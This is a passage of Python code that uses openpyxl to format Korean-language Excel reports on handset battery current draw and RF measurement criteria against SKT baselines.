sheet_out['I25'] = sheet_in['U17'].value\n sheet_out.merge_cells('K25:L25')\n sheet_out['K25'] = sheet_in['W17'].value\n\n # sheet row 26~27 handle\n sheet_out.merge_cells('A26:D27')\n sheet_out['A26'] = 'SKT 기준'\n\n for i, col in enumerate(['E', 'F', 'G', 'H', 'I', 'J', 'K', 'L']):\n sheet_out[col + '26'] = sheet_in[col_out[i] + '18'].value\n sheet_out[col + '27'] = sheet_in[col_out[i] + '19'].value\n\n # sheet row 28~29 handle\n for i, col in enumerate(['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L']):\n\n if col in ['A', 'B', 'C', 'D']:\n sheet_out[col + '28'] = sheet_in[col + '12'].value\n sheet_out[col + '29'] = sheet_in[col + '13'].value\n else:\n # row 28\n if self.isNumber(sheet_in[col_out[i-4] + '20'].value):\n sheet_out[col + '28'] = self.check_num(round(float(sheet_in[col_out[i-4] + '20'].value), 2))\n else:\n sheet_out[col + '28'] = self.check_empty(sheet_in[col_out[i-4] + '20'].value)\n # row 29\n if self.isNumber(sheet_in[col_out[i-4] + '21'].value):\n sheet_out[col + '29'] = self.check_num(round(float(sheet_in[col_out[i-4] + '21'].value), 2))\n else:\n sheet_out[col + '29'] = self.check_empty(sheet_in[col_out[i-4] + '21'].value)\n\n\n # sheet row 31~33 handle\n sheet_out['A31'] = '▣ WCDMA 측정내역'\n sheet_out.merge_cells('A32:A33')\n sheet_out['A32'] = '차수'\n sheet_out.merge_cells('B32:B33')\n sheet_out['B32'] = '시료번호'\n sheet_out.merge_cells('C32:C33')\n sheet_out['C32'] = '베터리용량'\n sheet_out.merge_cells('D32:D33')\n sheet_out['D32'] = '측정채널'\n\n sheet_out.merge_cells('E32:F32')\n sheet_out['E32'] = sheet_in['E24'].value\n sheet_out.merge_cells('G32:J32')\n sheet_out['G32'] = sheet_in['G24'].value\n sheet_out.merge_cells('K32:L32')\n sheet_out['K32'] = sheet_in['K24'].value\n\n sheet_out.merge_cells('E33:F33')\n sheet_out['E33'] = sheet_in['E25'].value\n sheet_out.merge_cells('G33:H33')\n sheet_out['G33'] = sheet_in['G25'].value\n sheet_out.merge_cells('I33:J33')\n sheet_out['I33'] = sheet_in['I25'].value\n sheet_out.merge_cells('K33:L33')\n sheet_out['K33'] = sheet_in['K25'].value\n\n # sheet row 34~35 handle\n sheet_out.merge_cells('A34:D35')\n sheet_out['A34'] = 'SKT 기준'\n for col in ['E', 'F', 'G', 'H', 'I', 'J', 'K', 'L']:\n sheet_out[col + '34'] = sheet_in[col+'26'].value\n sheet_out[col + '35'] = sheet_in[col+'27'].value\n\n # sheet row 36~37 handle\n for col in ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L']:\n\n if col in ['A', 'B', 'C', 'D']:\n sheet_out[col + '36'] = sheet_in[col + '12'].value\n sheet_out[col + '37'] = sheet_in[col + '13'].value\n else:\n # row 36\n if self.isNumber(sheet_in[col + '28'].value):\n sheet_out[col + '36'] = self.check_num(round(float(sheet_in[col + '28'].value), 2))\n else:\n sheet_out[col + '36'] = self.check_empty(sheet_in[col + '28'].value)\n # row 37\n if self.isNumber(sheet_in[col + '29'].value):\n sheet_out[col + '37'] = self.check_num(round(float(sheet_in[col + '29'].value), 2))\n else:\n sheet_out[col + '37'] = self.check_empty(sheet_in[col + '29'].value)\n\n # sheet row 39~41 handle\n sheet_out['A39'] = '▣ WiFi 측정내역'\n sheet_out.merge_cells('A40:A41')\n sheet_out['A40'] = '차수'\n sheet_out.merge_cells('B40:B41')\n sheet_out['B40'] = '시료번호'\n sheet_out.merge_cells('C40:C41')\n sheet_out['C40'] = '베터리용량'\n sheet_out.merge_cells('D40:D41')\n sheet_out['D40'] = '측정채널'\n\n sheet_out.merge_cells('E40:F40')\n sheet_out['E40'] = sheet_in['E32'].value\n sheet_out.merge_cells('G40:H40')\n sheet_out['G40'] = sheet_in['G32'].value\n sheet_out.merge_cells('I40:J40')\n sheet_out['I40'] = sheet_in['I32'].value\n sheet_out.merge_cells('K40:L40')\n sheet_out['K40'] = sheet_in['K32'].value\n sheet_out.merge_cells('M40:N40')\n sheet_out['M40'] = sheet_in['M32'].value\n\n sheet_out.merge_cells('E41:F41')\n sheet_out['E41'] = sheet_in['E33'].value\n sheet_out.merge_cells('G41:H41')\n sheet_out['G41'] = sheet_in['G33'].value\n sheet_out.merge_cells('I41:J41')\n sheet_out['I41'] = sheet_in['I33'].value\n sheet_out.merge_cells('K41:L41')\n sheet_out['K41'] = sheet_in['K33'].value\n sheet_out.merge_cells('M41:N41')\n sheet_out['M41'] = sheet_in['M33'].value\n\n # sheet row 42~43 handle\n sheet_out.merge_cells('A42:D43')\n sheet_out['A42'] = 'SKT 기준'\n for col in ['E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N']:\n sheet_out[col + '42'] = sheet_in[col+'34'].value\n sheet_out[col + '43'] = sheet_in[col+'35'].value\n\n # sheet row 44~45 handle\n for col in ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N']:\n\n if col in ['A', 'B', 'C', 'D']:\n sheet_out[col + '44'] = sheet_in[col + '12'].value\n sheet_out[col + '45'] = sheet_in[col + '13'].value\n else:\n # row 44\n if self.isNumber(sheet_in[col + '36'].value):\n sheet_out[col + '44'] = self.check_num(round(float(sheet_in[col + '36'].value), 2))\n else:\n sheet_out[col + '44'] = self.check_empty(sheet_in[col + '36'].value)\n # row 45\n if self.isNumber(sheet_in[col + '37'].value):\n sheet_out[col + '45'] = self.check_num(round(float(sheet_in[col + '37'].value), 2))\n else:\n sheet_out[col + '45'] = self.check_empty(sheet_in[col + '37'].value)\n\n # sheet row 47~49 handle\n sheet_out['A47'] = '▣ BlueTooth 측정내역'\n sheet_out.merge_cells('A48:A49')\n sheet_out['A48'] = '차수'\n sheet_out.merge_cells('B48:B49')\n sheet_out['B48'] = '시료번호'\n sheet_out.merge_cells('C48:C49')\n sheet_out['C48'] = '베터리용량'\n sheet_out.merge_cells('D48:D49')\n sheet_out['D48'] = '측정채널'\n sheet_out.merge_cells('E48:N48')\n sheet_out['E48'] = sheet_in['E40'].value\n\n sheet_out.merge_cells('E49:F49')\n sheet_out['E49'] = sheet_in['E41'].value\n sheet_out.merge_cells('G49:H49')\n sheet_out['G49'] = sheet_in['G41'].value\n sheet_out.merge_cells('I49:J49')\n sheet_out['I49'] = sheet_in['I41'].value\n sheet_out.merge_cells('K49:L49')\n sheet_out['K49'] = sheet_in['K41'].value\n sheet_out.merge_cells('M49:N49')\n sheet_out['M49'] = sheet_in['M41'].value\n\n # sheet row 50~51 handle\n sheet_out.merge_cells('A50:D51')\n sheet_out['A50'] = 'SKT 기준'\n\n for col in ['E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N']:\n sheet_out[col + '50'] = sheet_in[col+'42'].value\n sheet_out[col + '51'] = sheet_in[col+'43'].value\n\n for col in ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N']:\n\n # sheet row 52~53 handle\n if col in ['A', 'B', 'C', 'D']:\n sheet_out[col + '52'] = sheet_in[col + '12'].value\n sheet_out[col + '53'] = sheet_in[col + '13'].value\n else:\n # row 52\n if self.isNumber(sheet_in[col + '44'].value):\n sheet_out[col + '52'] = self.check_num(round(float(sheet_in[col + '44'].value), 2))\n else:\n sheet_out[col + '52'] = self.check_empty(sheet_in[col + '44'].value)\n # row 53\n if self.isNumber(sheet_in[col + '45'].value):\n sheet_out[col + '53'] = self.check_num(round(float(sheet_in[col + '45'].value), 2))\n else:\n sheet_out[col + '53'] = self.check_empty(sheet_in[col + '45'].value)\n\n self.setPrintText('/s {}번 파일 \"배터리소모전류 세부데이터\" 테이터 입력 완료 /e'.format(idx+1))\n\n # set temp data\n if self.opFlag:\n\n # all cell alignment adjust\n for mCell in sheet_out[\"A1:Z53\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n # top alignment adjust\n sheet_out['A3'].alignment = self.top_alignment\n sheet_out['A17'].alignment = self.top_alignment\n sheet_out['A31'].alignment = self.top_alignment\n sheet_out['A39'].alignment = self.top_alignment\n sheet_out['A47'].alignment = self.top_alignment\n\n # all cell border adjust\n for mCell in sheet_out[\"A4:P15\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A18:P23\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A24:L29\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A32:L37\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A40:N45\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A48:N53\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell font adjust\n for mCell in sheet_out[\"A3:P53\"]:\n for cell in mCell:\n cell.font = self.index_font\n\n sheet_out['A1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n\n # each column width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\n sheet_width_list = [29.88, 11.38, 11.38, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,\n 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n\n sheet_out.row_dimensions[1].height = 45\n\n # Set Pattern Fill\n for col in ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P']:\n\n sheet_out[col + '4'].fill = self.brown_fill\n sheet_out[col + '5'].fill = self.brown_fill\n sheet_out[col + '6'].fill = self.apricot_fill\n sheet_out[col + '7'].fill = self.apricot_fill\n sheet_out[col + '10'].fill = self.brown_fill\n sheet_out[col + '11'].fill = self.brown_fill\n sheet_out[col + '12'].fill = self.apricot_fill\n sheet_out[col + '13'].fill = self.apricot_fill\n sheet_out[col + '18'].fill = self.brown_fill\n sheet_out[col + '19'].fill = self.brown_fill\n sheet_out[col + '20'].fill = self.apricot_fill\n sheet_out[col + '21'].fill = self.apricot_fill\n\n for col in ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N']:\n\n sheet_out[col + '40'].fill = self.brown_fill\n sheet_out[col + '41'].fill = self.brown_fill\n sheet_out[col + '42'].fill = self.apricot_fill\n sheet_out[col + '43'].fill = self.apricot_fill\n sheet_out[col + '48'].fill = self.brown_fill\n sheet_out[col + '49'].fill = self.brown_fill\n sheet_out[col + '50'].fill = self.apricot_fill\n sheet_out[col + '51'].fill = self.apricot_fill\n\n for col in ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L']:\n\n sheet_out[col + '24'].fill = self.brown_fill\n sheet_out[col + '25'].fill = self.brown_fill\n sheet_out[col + '26'].fill = self.apricot_fill\n sheet_out[col + '27'].fill = self.apricot_fill\n sheet_out[col + '32'].fill = self.brown_fill\n sheet_out[col + '33'].fill = self.brown_fill\n sheet_out[col + '34'].fill = self.apricot_fill\n sheet_out[col + '35'].fill = self.apricot_fill\n\n for i in [8, 9, 14, 15, 22, 23, 28, 29, 36, 37, 44, 45, 52, 53]:\n\n sheet_out['A' + str(i)].fill = self.gray_fill\n sheet_out['B' + str(i)].fill = self.gray_fill\n sheet_out['C' + str(i)].fill = self.gray_fill\n sheet_out['D' + str(i)].fill = self.gray_fill\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"배터리소모전류 세부데이터\" 시트 스타일 적용 완료 /e'.format(idx+1))\n\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # 베터리소모전류(시간) Tab\n def time_generate_data(self):\n\n try:\n for idx, item in enumerate(self.list_out_files):\n\n wb_output = openpyxl.load_workbook(item, data_only=True)\n\n # get data from wb_input\n sheet_in = wb_output['배터리소모전류 세부데이터']\n #option setting wb.output\n sheet_out = wb_output['배터리소모전류(시간)']\n target = sheet_in['A8'].value\n ref = sheet_in['A9'].value\n\n # sheet row 1 handle\n sheet_out.merge_cells('A1:H1')\n sheet_out['A1'] = '배터리소모전류 결과 (시간)'\n # sheet row 3~5 handle\n sheet_out['A3'] = '▣ 5G '\n sheet_out.merge_cells('A4:A5')\n sheet_out['A4'] = '구분'\n sheet_out.merge_cells('B4:C4')\n sheet_out['B4'] = sheet_in['E4'].value\n sheet_out.merge_cells('D4:E4')\n sheet_out['D4'] = sheet_in['I4'].value\n sheet_out.merge_cells('F4:H4')\n sheet_out['F4'] = sheet_in['M4'].value\n\n sheet_out['B5'] = sheet_in['E5'].value\n sheet_out['C5'] = sheet_in['G5'].value\n sheet_out['D5'] = sheet_in['I5'].value\n sheet_out['E5'] = sheet_in['K5'].value\n sheet_out['F5'] = sheet_in['M5'].value\n sheet_out['G5'] = sheet_in['O5'].value\n sheet_out['H5'] = sheet_in['G11'].value\n\n # sheet row 6 handle\n sheet_out['A6'] = 'SKT 기준'\n sheet_out['B6'] = sheet_in['F6'].value\n sheet_out['C6'] = sheet_in['H6'].value\n sheet_out['D6'] = sheet_in['J6'].value\n sheet_out['E6'] = sheet_in['L6'].value\n sheet_out['F6'] = sheet_in['N6'].value\n sheet_out['G6'] = sheet_in['P6'].value\n sheet_out['H6'] = sheet_in['H12'].value\n\n # sheet row 7~8\n sheet_out['A7'] = target\n sheet_out['B7'] = sheet_in['F8'].value\n sheet_out['C7'] = sheet_in['H8'].value\n sheet_out['D7'] = sheet_in['J8'].value\n sheet_out['E7'] = sheet_in['L8'].value\n sheet_out['F7'] = sheet_in['N8'].value\n sheet_out['G7'] = sheet_in['P8'].value\n sheet_out['H7'] = sheet_in['H14'].value\n sheet_out['A8'] = ref\n sheet_out['B8'] = sheet_in['F9'].value\n sheet_out['C8'] = sheet_in['H9'].value\n sheet_out['D8'] = sheet_in['J9'].value\n sheet_out['E8'] = sheet_in['L9'].value\n sheet_out['F8'] = sheet_in['N9'].value\n sheet_out['G8'] = sheet_in['P9'].value\n sheet_out['H8'] = sheet_in['H15'].value\n\n # sheet row 9~10\n sheet_out.merge_cells('A9:A10')\n sheet_out['A9'] = '구분'\n sheet_out['B9'] = sheet_in['I10'].value\n sheet_out['C9'] = sheet_in['K10'].value\n sheet_out['D9'] = sheet_in['M10'].value\n sheet_out['E9'] = '동영상'\n sheet_out['F9'] = sheet_in['E10'].value\n\n sheet_out['B10'] = sheet_in['I11'].value\n sheet_out['C10'] = sheet_in['K11'].value\n sheet_out['D10'] = sheet_in['M11'].value\n sheet_out['E10'] = '녹화'\n sheet_out['F10'] = sheet_in['E11'].value\n\n # sheet row 11 handle\n sheet_out['A11'] = 'SKT 기준'\n sheet_out['B11'] = sheet_in['J12'].value\n sheet_out['C11'] = sheet_in['L12'].value\n sheet_out['D11'] = sheet_in['N12'].value\n sheet_out['E11'] = sheet_in['P12'].value\n sheet_out['F11'] = sheet_in['F12'].value\n\n # sheet row 12~13\n sheet_out['A12'] = target\n sheet_out['B12'] = sheet_in['J14'].value\n sheet_out['C12'] = sheet_in['L14'].value\n sheet_out['D12'] = sheet_in['N14'].value\n sheet_out['E12'] = sheet_in['P14'].value\n sheet_out['F12'] = sheet_in['F14'].value\n sheet_out['A13'] = ref\n sheet_out['B13'] = sheet_in['F15'].value\n sheet_out['C13'] = sheet_in['H15'].value\n sheet_out['D13'] = sheet_in['J15'].value\n sheet_out['E13'] = sheet_in['L15'].value\n sheet_out['F13'] = sheet_in['N15'].value\n\n # sheet row 15~17 handle\n sheet_out['A15'] = '▣ LTE'\n sheet_out.merge_cells('A16:A17')\n sheet_out['A16'] = '구분'\n sheet_out.merge_cells('B16:C16')\n sheet_out['B16'] = sheet_in['E18'].value\n sheet_out.merge_cells('D16:E16')\n sheet_out['D16'] = sheet_in['I18'].value\n sheet_out.merge_cells('F16:H16')\n sheet_out['F16'] = sheet_in['M18'].value\n\n sheet_out['B17'] = sheet_in['E19'].value\n sheet_out['C17'] = sheet_in['G19'].value\n sheet_out['D17'] = sheet_in['I19'].value\n sheet_out['E17'] = sheet_in['K19'].value\n sheet_out['F17'] = sheet_in['M19'].value\n sheet_out['G17'] = sheet_in['O19'].value\n sheet_out['H17'] = sheet_in['E25'].value\n\n # sheet row 18 handle\n sheet_out['A18'] = 'SKT 기준'\n sheet_out['B18'] = sheet_in['F20'].value\n sheet_out['C18'] = sheet_in['H20'].value\n sheet_out['D18'] = sheet_in['J20'].value\n sheet_out['E18'] = sheet_in['L20'].value\n sheet_out['F18'] = sheet_in['N20'].value\n sheet_out['G18'] = sheet_in['P20'].value\n sheet_out['H18'] = sheet_in['F26'].value\n\n # sheet row 19~20\n sheet_out['A19'] = target\n sheet_out['B19'] = sheet_in['F22'].value\n sheet_out['C19'] = sheet_in['H22'].value\n sheet_out['D19'] = sheet_in['J22'].value\n sheet_out['E19'] = sheet_in['L22'].value\n sheet_out['F19'] = sheet_in['N22'].value\n sheet_out['G19'] = sheet_in['P22'].value\n sheet_out['H19'] = sheet_in['F28'].value\n sheet_out['A20'] = ref\n sheet_out['B20'] = sheet_in['F23'].value\n sheet_out['C20'] = sheet_in['H23'].value\n sheet_out['D20'] = sheet_in['J23'].value\n sheet_out['E20'] = sheet_in['L23'].value\n sheet_out['F20'] = sheet_in['N23'].value\n sheet_out['G20'] = sheet_in['P23'].value\n sheet_out['H20'] = sheet_in['F29'].value\n\n # sheet row 21~22\n sheet_out.merge_cells('A21:A22')\n sheet_out['A21'] = '구분'\n sheet_out['B21'] = sheet_in['G24'].value\n sheet_out['C21'] = sheet_in['I24'].value\n sheet_out['D21'] = sheet_in['K24'].value\n\n sheet_out['B22'] = sheet_in['G25'].value\n sheet_out['C22'] = sheet_in['I25'].value\n sheet_out['D22'] = sheet_in['K25'].value\n\n # sheet row 23 handle\n sheet_out['A23'] = 'SKT 기준'\n sheet_out['B23'] = sheet_in['H26'].value\n sheet_out['C23'] = sheet_in['J26'].value\n sheet_out['D23'] = sheet_in['L26'].value\n\n # sheet row 24~25\n sheet_out['A24'] = target\n sheet_out['B24'] = sheet_in['H28'].value\n sheet_out['C24'] = sheet_in['J28'].value\n sheet_out['D24'] = sheet_in['L28'].value\n sheet_out['A25'] = ref\n sheet_out['B25'] = sheet_in['H29'].value\n sheet_out['C25'] = sheet_in['J29'].value\n sheet_out['D25'] = sheet_in['L29'].value\n\n # sheet row 27~29 handle\n sheet_out['A27'] = '▣ WCDMA'\n sheet_out.merge_cells('A28:A29')\n sheet_out['A28'] = '구분'\n sheet_out['B28'] = sheet_in['E32'].value\n sheet_out.merge_cells('C28:D28')\n sheet_out['C28'] = sheet_in['G32'].value\n sheet_out['E28'] = sheet_in['K32'].value\n\n sheet_out['B29'] = sheet_in['E33'].value\n sheet_out['C29'] = sheet_in['G33'].value\n sheet_out['D29'] = sheet_in['I33'].value\n sheet_out['E29'] = sheet_in['K33'].value\n\n # sheet row 30 handle\n sheet_out['A30'] = 'SKT 기준'\n sheet_out['B30'] = sheet_in['F34'].value\n sheet_out['C30'] = sheet_in['H34'].value\n sheet_out['D30'] = sheet_in['J34'].value\n sheet_out['E30'] = sheet_in['L34'].value\n\n # sheet row 31~32\n sheet_out['A31'] = target\n sheet_out['B31'] = sheet_in['F36'].value\n sheet_out['C31'] = sheet_in['H36'].value\n sheet_out['D31'] = sheet_in['J36'].value\n sheet_out['E31'] = sheet_in['L36'].value\n sheet_out['A32'] = ref\n sheet_out['B32'] = sheet_in['F37'].value\n sheet_out['C32'] = sheet_in['H37'].value\n sheet_out['D32'] = sheet_in['J37'].value\n sheet_out['E32'] = sheet_in['L37'].value\n\n\n # sheet row 34~36 handle\n sheet_out['A34'] = '▣ WiFi'\n sheet_out.merge_cells('A35:A36')\n sheet_out['A35'] = '구분'\n sheet_out.merge_cells('B35:C35')\n sheet_out['B35'] = sheet_in['E40'].value\n sheet_out['D35'] = sheet_in['I40'].value\n sheet_out['E35'] = sheet_in['K40'].value\n sheet_out['F35'] = sheet_in['M40'].value\n\n sheet_out['B36'] = sheet_in['E41'].value\n sheet_out['C36'] = sheet_in['G41'].value\n sheet_out['D36'] = sheet_in['I41'].value\n sheet_out['E36'] = sheet_in['K41'].value\n sheet_out['F36'] = sheet_in['M41'].value\n\n # sheet row 37 handle\n sheet_out['A37'] = 'SKT 기준'\n sheet_out['B37'] = sheet_in['F42'].value\n sheet_out['C37'] = sheet_in['H42'].value\n sheet_out['D37'] = sheet_in['J42'].value\n sheet_out['E37'] = sheet_in['L42'].value\n sheet_out['F37'] = sheet_in['N42'].value\n\n # sheet row 38~39\n sheet_out['A38'] = target\n sheet_out['B38'] = sheet_in['F44'].value\n sheet_out['C38'] = sheet_in['H44'].value\n sheet_out['D38'] = sheet_in['J44'].value\n sheet_out['E38'] = sheet_in['L44'].value\n sheet_out['F38'] = sheet_in['N44'].value\n sheet_out['A39'] = ref\n sheet_out['B39'] = sheet_in['F45'].value\n sheet_out['C39'] = sheet_in['H45'].value\n sheet_out['D39'] = sheet_in['J45'].value\n sheet_out['E39'] = sheet_in['L45'].value\n sheet_out['F39'] = sheet_in['N45'].value\n\n # sheet row 41~43 handle\n sheet_out['A41'] = '▣ Bluetooth'\n sheet_out.merge_cells('A42:A43')\n sheet_out['A42'] = '구분'\n sheet_out.merge_cells('B42:F42')\n sheet_out['B42'] = sheet_in['E48'].value\n\n sheet_out['B43'] = sheet_in['E49'].value\n sheet_out['C43'] = sheet_in['G49'].value\n sheet_out['D43'] = sheet_in['I49'].value\n sheet_out['E43'] = sheet_in['K49'].value\n sheet_out['F43'] = sheet_in['M49'].value\n\n # sheet row 44 handle\n sheet_out['A44'] = 'SKT 기준'\n sheet_out['B44'] = sheet_in['F50'].value\n sheet_out['C44'] = sheet_in['H50'].value\n sheet_out['D44'] = sheet_in['J50'].value\n sheet_out['E44'] = sheet_in['L50'].value\n sheet_out['F44'] = sheet_in['N50'].value\n\n # sheet row 45~46\n sheet_out['A45'] = target\n sheet_out['B45'] = sheet_in['F52'].value\n sheet_out['C45'] = sheet_in['H52'].value\n sheet_out['D45'] = sheet_in['J52'].value\n sheet_out['E45'] = sheet_in['L52'].value\n sheet_out['F45'] = sheet_in['N52'].value\n sheet_out['A46'] = ref\n sheet_out['B46'] = sheet_in['F53'].value\n sheet_out['C46'] = sheet_in['H53'].value\n sheet_out['D46'] = sheet_in['J53'].value\n sheet_out['E46'] = sheet_in['L53'].value\n sheet_out['F46'] = sheet_in['N53'].value\n\n self.setPrintText('/s {}번 파일 \"배터리소모전류 결과 (시간)\" 테이터 입력 완료 /e'.format(idx+1))\n\n # set temp data\n if self.opFlag:\n\n # all cell alignment adjust\n for mCell in sheet_out[\"A1:H46\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n\n # top alignment adjust\n sheet_out['A3'].alignment = self.top_alignment\n sheet_out['A15'].alignment = self.top_alignment\n sheet_out['A27'].alignment = self.top_alignment\n sheet_out['A34'].alignment = self.top_alignment\n sheet_out['A41'].alignment = self.top_alignment\n\n # all cell border adjust\n for mCell in sheet_out[\"A4:H8\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A9:F13\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A16:H20\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A21:D25\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A28:E32\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A35:F39\"]:\n for cell in mCell:\n cell.border = self.thin_border\n for mCell in sheet_out[\"A42:F46\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell font adjust\n for mCell in sheet_out[\"A3:H46\"]:\n for cell in mCell:\n cell.font = self.index_font\n\n sheet_out['A1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n\n # each column width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H']\n sheet_width_list = [29.88, 13.38, 13.38, 13.38, 13.38, 13.38, 13.38, 13.38]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n\n sheet_out.row_dimensions[1].height = 45\n\n # Set Pattern Fill\n for col in ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H']:\n\n sheet_out[col + '4'].fill = self.brown_fill\n sheet_out[col + '5'].fill = self.brown_fill\n sheet_out[col + '6'].fill = self.apricot_fill\n sheet_out[col + '16'].fill = self.brown_fill\n sheet_out[col + '17'].fill = self.brown_fill\n sheet_out[col + '18'].fill = self.apricot_fill\n\n for col in ['A', 'B', 'C', 'D', 'E', 'F']:\n\n sheet_out[col + '9'].fill = self.brown_fill\n sheet_out[col + '10'].fill = self.brown_fill\n sheet_out[col + '11'].fill = self.apricot_fill\n sheet_out[col + '35'].fill = self.brown_fill\n sheet_out[col + '36'].fill = self.brown_fill\n sheet_out[col + '37'].fill = self.apricot_fill\n sheet_out[col + '42'].fill = self.brown_fill\n sheet_out[col + '43'].fill = self.brown_fill\n sheet_out[col + '44'].fill = self.apricot_fill\n\n for col in ['A', 'B', 'C', 'D', 'E']:\n\n sheet_out[col + '28'].fill = self.brown_fill\n sheet_out[col + '29'].fill = self.brown_fill\n sheet_out[col + '30'].fill = self.apricot_fill\n\n\n for col in ['A', 'B', 'C', 'D']:\n\n sheet_out[col + '21'].fill = self.brown_fill\n sheet_out[col + '22'].fill = self.brown_fill\n sheet_out[col + '23'].fill = self.apricot_fill\n\n for i in [7, 8, 12, 13, 19, 20, 24, 25, 31, 32, 38, 39, 45, 46]:\n\n sheet_out['A' + str(i)].fill = self.gray_fill\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"배터리소모전류 결과 (시간)\" 시트 스타일 적용 완료 /e'.format(idx+1))\n\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # 첨부 1 측정기준 Tab\n def attach_generate_data_1(self):\n\n try:\n for idx, item in enumerate(self.list_out_files):\n\n wb_output = openpyxl.load_workbook(item)\n # option setting wb.output\n sheet_out = wb_output['첨부1. 측정기준 및 가점']\n list_band = ['Band 1 15M', 'Band 3 20M', 'Band 5 10M',\n 'Band 7 20M', 'Band 7 10M']\n list_trp_base = ['14.00dBm', '15.00dBm', '13.50dBm',\n '13.00dBm', '13.00dBm']\n list_tis_base = ['-92.00dBm', '-91.00dBm', '-87.00dBm',\n '-90.00dBm', '-93.00dBm']\n\n # sheet row 1 handle\n sheet_out.merge_cells('A1:D1')\n sheet_out['A1'] = '첨부1. 측정기준 및 가점'\n\n # sheet row 3 handle\n sheet_out['A3'] = '▣ RF 성능 : 기 출시 단말 측정하여 상위 70% 수준으로 설정'\n sheet_out['A4'] = ' -TRP'\n\n # 5~10 row\n sheet_out['A5'] = 'SISO LTE'\n sheet_out['B5'] = '기준(RHP)'\n sheet_out.merge_cells('C5:D5')\n sheet_out['C5'] = '측정기준 History'\n\n for i in range(6, 11):\n sheet_out['A' + str(i)] = list_band[i - 6]\n sheet_out['B' + str(i)] = list_trp_base[i - 6]\n sheet_out.merge_cells('C6:D10')\n sheet_out['C6'] = '기준대비 1dB 증가후 +1점/1dBm 가점\\n기준대비 1dB 저하후 - 1점/1dBm 감점'\n # 11~17 row\n sheet_out['A11'] = ' -TIS (SISO LTE)'\n\n # 12~17 row\n sheet_out['A12'] = 'SISO LTE'\n sheet_out['B12'] = '기준(RHP)'\n sheet_out.merge_cells('C12:D12')\n sheet_out['C12'] = '측정기준 History'\n\n for i in range(13, 18):\n sheet_out['A' + str(i)] = list_band[i - 13]\n sheet_out['B' + str(i)] = list_trp_base[i - 13]\n sheet_out.merge_cells('C13:D17')\n sheet_out['C13'] = '기준대비 1dB 증가후 +1점/3dBm 가점\\n기준대비 1dB 저하후 - 1점/3dBm 감점'\n\n # 19~25 row\n sheet_out['A19'] = '▣ 배터리 소모전류'\n sheet_out.merge_cells('A20:D20')\n sheet_out['A20'] = \" - '18.1 ~ '19.8 납품검사 삼성/LG 단말 29종으로\\n측정 기준으로 소모전류 (평균+STD), 배터리 용량 (3000mA) 산출\"\n sheet_out.merge_cells('A21:D21')\n sheet_out['A21'] = \" - Ref. 단말 대비 10% 이내 (측정기준부재항목)\"\n\n sheet_out['A23'] = '▣ MOS'\n sheet_out.merge_cells('A24:D24')\n sheet_out['A24'] = \" - ITU-T 권고 P.800 항목에 규정 참고 (LTE : 3.5, WCDMA : 3.0)\"\n sheet_out.merge_cells('A25:D25')\n sheet_out['A25'] = '. MOS 3.5~4 : 자연스러운 통화 수준\\n. MOS 3~3.5 : 대화는 잘 이루어지지만 품질저하 느낄 수 있음'\n\n self.setPrintText('/s {}번 파일 \"첨부1\" 테이터 입력 완��� /e'.format(idx+1))\n\n # set temp data\n\n if self.opFlag:\n\n # all cell alignment adjust\n for mCell in sheet_out[\"A1:D25\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n\n # top alignment adjust\n 